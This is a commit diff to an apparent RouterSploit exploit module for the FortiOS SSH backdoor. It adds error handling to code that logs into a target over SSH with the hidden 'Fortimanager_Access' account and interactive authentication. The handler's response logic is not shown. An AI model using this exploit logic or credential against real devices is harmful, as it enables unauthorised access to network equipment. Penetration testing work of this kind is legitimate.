Fortigate backdoor exceptions.

routersploit/modules/exploits/fortinet/fortigate_os_backdoor.py

@@ -37,8 +37,6 @@ class Exploit(exploits.Exploit):
     port = exploits.Option(22, 'Target Port')
 
     def run(self):
-        print_status("Running module")
-
         client = paramiko.SSHClient()
         client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
 
@@ -46,6 +44,9 @@ class Exploit(exploits.Exploit):
             client.connect(self.target, username='', allow_agent=False, look_for_keys=False)
         except paramiko.ssh_exception.SSHException:
             pass
+        except:
+            print_error("Exploit Failed - SSH Service is down")
+            return
 
         trans = client.get_transport()
         try:
@@ -100,14 +101,16 @@ class Exploit(exploits.Exploit):
             client.connect(self.target, username='', allow_agent=False, look_for_keys=False)
         except paramiko.ssh_exception.SSHException:
             pass
+        except:
+            return False  # target is not vulnerable
 
         trans = client.get_transport()
         try:
             trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
         except paramiko.ssh_exception.AuthenticationException:
             pass
-        except Exception, e:
-            return None
+        except:
+            return None  # could not verify
 
         try:
             trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler)